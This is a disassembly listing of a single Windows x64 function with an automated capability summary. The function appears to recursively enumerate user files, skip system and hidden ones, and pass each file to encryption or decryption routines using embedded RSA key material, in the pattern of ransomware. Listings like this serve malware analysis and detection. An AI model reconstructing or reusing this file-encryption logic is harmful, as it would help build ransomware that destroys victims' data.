Function at 0x14002f810
Capabilities:
Enumerate files on windows
Get common file path
Get file attributes

Disassembly:
jmp 0x14002f810
mov word [rsp + 0x10], dx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
mov eax, 0x2200
call fcn.140001b86
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x6f0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2228]
mov rax, qword [0x14017ce00]
xor rax, rbp
mov qword [rbp + 0x21b8], rax
lea rcx, [0x140195306]
call fcn.140004e5d
nop
movzx eax, word [rbp + 0x21e8]
cmp eax, 0x65
jne 0x14002f882
movzx eax, byte [0x14017bb97]
test eax, eax
jne 0x14002f882
jmp 0x14002fc91
lea rax, [rbp + 0x2a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x1450
rep stosb byte [rdi], al
lea rax, [rbp + 0x1704]
lea rcx, [0x14013dda0]
mov rdi, rax
mov rsi, rcx
mov ecx, 6
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rbp + 0x21e0]
call fcn.140001424
cmp rax, 0x30c
jbe 0x14002f8c9
jmp 0x14002fc91
mov edx, 0x104
lea rcx, [rbp + 0x1730]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
nop
mov eax, 2
imul rax, rax, 0
movzx ecx, word [rbp + rax + 0x1730]
call fcn.140002202
movzx eax, ax
mov dword [rbp + 0x21b4], eax
mov ecx, 2
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x21e0]
movzx ecx, word [rdx + rcx]
call fcn.140002202
movzx eax, ax
mov ecx, dword [rbp + 0x21b4]
cmp ecx, eax
jne 0x14002f9da
mov eax, 2
imul rax, rax, 0
mov rcx, qword [rbp + 0x21e0]
movzx ecx, word [rcx + rax]
call fcn.140002202
mov ecx, 2
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x21e0]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0
movzx eax, word [rbp + rax + 0x1730]
lea r9, str.Users
mov r8d, eax
lea rdx, str._c:_s_
lea rcx, [rbp + 0x1960]
call qword [sym.imp.USER32.dll_wsprintfW]
nop
lea rcx, [rbp + 0x1960]
call fcn.140001424
mov r8, rax
lea rdx, [rbp + 0x1960]
mov rcx, qword [rbp + 0x21e0]
call fcn.140003f71
test eax, eax
je 0x14002f9c1
movzx edx, word [rbp + 0x21e8]
lea rcx, [rbp + 0x1960]
call fcn.14000324c
nop
jmp 0x14002fc91
mov rcx, qword [rbp + 0x21e0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
and eax, 2
test eax, eax
je 0x14002f9da
jmp 0x14002fc91
mov r8, qword [rbp + 0x21e0]
lea rdx, str._s.
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.USER32.dll_wsprintfW]
nop
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x278], rax
cmp qword [rbp + 0x278], 0xffffffffffffffff
jne 0x14002fa1d
jmp 0x14002fc91
lea rcx, [rbp + 0x3c]
call fcn.140001424
cmp rax, 0xff
ja 0x14002fa3d
cmp dword [rbp + 0x10], 4
je 0x14002fa3d
cmp dword [rbp + 0x10], 0x10000
jne 0x14002fa42
jmp 0x14002fc6a
mov eax, dword [rbp + 0x10]
and eax, 0x10
test eax, eax
je 0x14002fb17
lea rax, [rbp + 0x1706]
mov rdx, rax
lea rcx, [rbp + 0x3c]
call fcn.140002ec3
test eax, eax
je 0x14002fa7b
lea rdx, [rbp + 0x1704]
lea rcx, [rbp + 0x3c]
call fcn.140002ec3
test eax, eax
jne 0x14002fa80
jmp 0x14002fc6a
mov eax, 2
imul rax, rax, 0
mov qword [rbp + 0x2188], rax
cmp qword [rbp + 0x2188], 0x1450
jae 0x14002fa9f
jmp 0x14002faa5
call fcn.140003c88
nop
xor eax, eax
mov rcx, qword [rbp + 0x2188]
mov word [rbp + rcx + 0x2a0], ax
mov r8, qword [rbp + 0x21e0]
mov edx, 0x30c
lea rcx, [rbp + 0x2a0]
call fcn.140002a72
nop
lea r8, [rbp + 0x3c]
mov edx, 0x30c
lea rcx, [rbp + 0x2a0]
call fcn.140002a72
nop
lea r8, [0x14013de60]
mov edx, 0x30c
lea rcx, [rbp + 0x2a0]
call fcn.140002a72
nop
movzx edx, word [rbp + 0x21e8]
lea rcx, [rbp + 0x2a0]
call fcn.14000324c
nop
jmp 0x14002fc5e
mov eax, 2
imul rax, rax, 0
mov qword [rbp + 0x21a8], rax
cmp qword [rbp + 0x21a8], 0x1450
jae 0x14002fb36
jmp 0x14002fb3c
call fcn.140003c88
nop
xor eax, eax
mov rcx, qword [rbp + 0x21a8]
mov word [rbp + rcx + 0x2a0], ax
mov r8, qword [rbp + 0x21e0]
mov edx, 0x30c
lea rcx, [rbp + 0x2a0]
call fcn.140002a72
nop
lea r8, [rbp + 0x3c]
mov edx, 0x30c
lea rcx, [rbp + 0x2a0]
call fcn.140002a72
nop
movzx eax, word [rbp + 0x21e8]
cmp eax, 0x65
jne 0x14002fbd4
lea rdx, str.invisible
lea rcx, [rbp + 0x2a0]
call fcn.14000193d
test rax, rax
jne 0x14002fbcf
lea r8, str.10001
lea rdx, str.c558188700e046a646b119b403b8ef8a3a97eb7ffe8f03fc203a8d676f8cb5888a61af38c8dc140f7b7dac40130c5b46a5fa1270cc637aeae52bfca8e5c8f6071e60906fb86f8c3bc75ae58fa155a52f8226414227238bad6633e3d985f6b7397b3b3dc8c81024fa60f28d5f2d27f57ad7dd06dbff72b25aacaf98605a2c6d3fd7fa6199039df597d7fa498c3ce42a28ac20b2b43afe837ca86748bc9432d7c5149ea7e8197449f5c7e921c2d8374d92d91e1db2b5572958b200abbb8ca3d84faf6a73deacecc91c80919df52a35ed6281a5f58e763d5ca71978a7ab7b62429d4902743a21d370a6325d60d26de7c4dfc81e46f1f5a8c55e920923ad44fe283577f74991edfc496693cca9674995cfc6709fc33d43b56203fc3cae6b165c45d6c36c5418c73ef87f19b8a34da71328595cd71c5b857b4f19599e58226ee2e12a1ef2af3876a683c24fbf89c9b379e5105cf88d4b0d62926681b16d5101e586534dfaa46efc4d6df387f59eba4faa63199ecbc5db8540e272dc99766c400de21f3c102db6d0054c9f20e25a155f951573f109317ac412802e014e1ae0f76d35e4df3099df117fea1a829ecdc3099ec689722237d24302cd9b30a93d210a6014b77f00a0e13a7ebaf91c25c657f22f8684ea3034b6a7a28a936045e6f50efe0763acadaa832caaa35fc4bdd3e31fe3799a92d7a19ee988d17ab7d85eb01c590e9b
lea rcx, [rbp + 0x2a0]
call fcn.140001104
nop
lea rdx, [rbp + 0x2a0]
lea rcx, str.:__s_n
call fcn.140001285
nop
jmp 0x14002fc5e
movzx eax, word [rbp + 0x21e8]
cmp eax, 0x64
jne 0x14002fc5e
lea rdx, str.invisible
lea rcx, [rbp + 0x2a0]
call fcn.14000193d
test rax, rax
je 0x14002fc5e
lea rax, str.n7njttzj6o69rte95bxok6r6jzj59r67ntzt9n5e9r0r9t6exobnjbmno00mm7nrornez6retnxomeznjm7ezze7m7ettj5xr0xnotbtot0xtnmbr9o76500ee5t6bo7jb9t9x5606znj95559te76ome7bkxkjmmmb7795totnjrrzrtbzeo5n9b5om7kzj96nezxxrz00me60kj6nkje0be9jrk9rer7x5kk6ze0jor6eknooxoj9oon79nx0tr9xm6r6kmtkt076rk97ono0rejn69noojbzbe50eb0r6k6xzmzx7tek6b9zjx6zjo6nx7mzbtbberm56enmntrj6j5jzzxe970zzj5xox0z590nzotn50x7mo7rmz9e50k9kjn665xjjbt9txtr9nkt9jotmtkmtbrtxo5rz9jk5767zbe5n5z6576zonbz76moet90emx5zt05tkex5o9ezzr7k77e97kb6kmkr9m0tjxmr7jtktjo7mrorxxoe
mov qword [rsp + 0x38], rax
lea rax, str.kzx0ej07erjrj0tzno9m0orne5jrjtnoxxb0bkt5k7zrzrzr6tkjm79nmtee9m5755oox9xj9k0mmm7rt575mbzer6ex0z6rzte00tobn5bkrkokmk5nr7t6t079600zj7ormje0z9j0ejeze6b9rr0kejrbnrt6e6rx67bmrn6j9ntozojoeo56jt6mxkm6ebtmnnzok6nzb0jro9ktm69enkzbkoxn0b69r555ttm7ojembxj67zorx9r67o5mentxxtn0j7omt7j95bkme5975jxnb6b9mn69nor60m9zr5o966k99enn5jxt69bz5okr5zeenk6erjem6xknn5bo79xkozkommj0jz7m5t07nb7bemxnj777979jkm9tk7oo7x5m5tbojx5x9jm9bn90tjrezzbemnxnjb07btt59t9mjer956o0oeotr09txborxz6reebnbk9rnkj07n9tkro0nb6njmnj6x5rbkzbbokzjr9657mboo05kr6t
mov qword [rsp + 0x30], rax
lea rax, str.09tzmn06r0kbzkm56rt7bxjkmzrjrttxz65ko6rjm595jmmr9zjj07mxrzobjmnnmz70nmo69rzzm7zo6nxjo7mxx6jek57z657x9r707rz9mkoojn0okjbnbk5ek5677rb6b9n9x6tk9rmxomt6m66kxkb05k6boe67knm5n9ze0oemrttr95ejn5ze7b7xo9mkroxrr0komteztxrj0mrnobrrerbrk60onkzrr6nt99970nmbtre9kk5x6x0mjorz5jbet5r6k95t7e79omxke0k6x0mjme0tkmz50br7zn057jknxex607x0bmbn5xjoeo9obmejnm70bmj5bnnze0b5r757rt9x6nezx655mrer7mjm9r9me9e5rkt7tbj5n0j9b707ne5kbt5bbbmbj96xt5zojxktm0ron57mo0k5bjkr59k6n0b756zxtxmotn5ozk6xm0bejkob6nxn6moeerk5tozjo79kt9z9z5rtj6rok5kjjb5r5kz9
mov qword [rsp + 0x28], rax
lea rax, str.rmbtreento0mztr7rro665ezx9ok9no07xrje6mk9xznt9n0tbz5t6enx95jzxjemkz6o7btox69tbt05jnrbn7mrb7ebr0x6n00bt6ebo99jrmt05rzb900rmz7et6btmxmzx0xbkjzozbnozn0mb9ktzr5ntrorx0rz7z5jzbnnzm6k99kzk9r005kon95kttn9tnbn65x96jz7or6mjo5nbt6b99trr5j0kzxtm0orj95rxer6kbert0e69ner6obm0775rrmzmmo6xn06rtoz7rmr97jkzrejorzxjtjkn9rkjnorkjrozotzo9xrrk99bbe7r7r5jeme5erz00ebmo5x7z56t9txz77onezzzrmntbx99b09rzrremj5xono0nr59eeojxzk7x69m0rextbrnet60oo69brjmn9mrxmzrjnj66ez5knmmxom6nk6tkx607eznt5n59zkt567tm9mk06k5mo995rb9997xtz7b05xnjrx55z5j5t
mov qword [rsp + 0x20], rax
lea r9, str.om955em6ttbxkk6orrbjm665xm65kenjttm7xtt9xoxbjezb00kbezmm7k907eont9ko6r9mezn799m76x5eo59o6tmb75m9zn66x7z555mjnroo5emez6x7o5xzxxrr0rmzonnb605bt09ezo5n707bzzxm55toxtkj5kx9zok0j67bb67rt5tzrjo77050nz699oo75zxj5xebooo6j09t96ttooet7055r5txt65xeem7mb6j5tn506jt0kbnz9m0o6zk5non7k7bozxzmn0jz05006okkzkxjjr5nbtxk6mk77jt67et09jo0nxormj76mbkb6re0j6jbbxjr0zzmk6koberk55okx09kk55ortkkno5zm7re0m5m7z7b0j96r7k77b90j9xnrn0x05rebjnkx0eexo7xbr77zo6jn5t95mn9onmebzrnjzn9n65t0bmknxb790j6mkx7o77jkmjrm5jj9bk9t9zzbrt5m0xxrojm9zrjoxz6j59
lea r8, str.10001
lea rdx, str.c558188700e046a646b119b403b8ef8a3a97eb7ffe8f03fc203a8d676f8cb5888a61af38c8dc140f7b7dac40130c5b46a5fa1270cc637aeae52bfca8e5c8f6071e60906fb86f8c3bc75ae58fa155a52f8226414227238bad6633e3d985f6b7397b3b3dc8c81024fa60f28d5f2d27f57ad7dd06dbff72b25aacaf98605a2c6d3fd7fa6199039df597d7fa498c3ce42a28ac20b2b43afe837ca86748bc9432d7c5149ea7e8197449f5c7e921c2d8374d92d91e1db2b5572958b200abbb8ca3d84faf6a73deacecc91c80919df52a35ed6281a5f58e763d5ca71978a7ab7b62429d4902743a21d370a6325d60d26de7c4dfc81e46f1f5a8c55e920923ad44fe283577f74991edfc496693cca9674995cfc6709fc33d43b56203fc3cae6b165c45d6c36c5418c73ef87f19b8a34da71328595cd71c5b857b4f19599e58226ee2e12a1ef2af3876a683c24fbf89c9b379e5105cf88d4b0d62926681b16d5101e586534dfaa46efc4d6df387f59eba4faa63199ecbc5db8540e272dc99766c400de21f3c102db6d0054c9f20e25a155f951573f109317ac412802e014e1ae0f76d35e4df3099df117fea1a829ecdc3099ec689722237d24302cd9b30a93d210a6014b77f00a0e13a7ebaf91c25c657f22f8684ea3034b6a7a28a936045e6f50efe0763acadaa832caaa35fc4bdd3e31fe3799a92d7a19ee988d17ab7d85eb01c590e9b
lea rcx, [rbp + 0x2a0]
call fcn.14000391d
nop
lea rdx, [rbp + 0x2a0]
lea rcx, str.:__s_n
call fcn.140001285
nop
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14002fa1d
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
lea rcx, [rbp - 0x40]
lea rdx, [0x14013b7a0]
call fcn.1400042ff
mov rcx, qword [rbp + 0x21b8]
xor rcx, rbp
call fcn.140002e69
lea rsp, [rbp + 0x21c0]
pop rdi
pop rsi
pop rbp
ret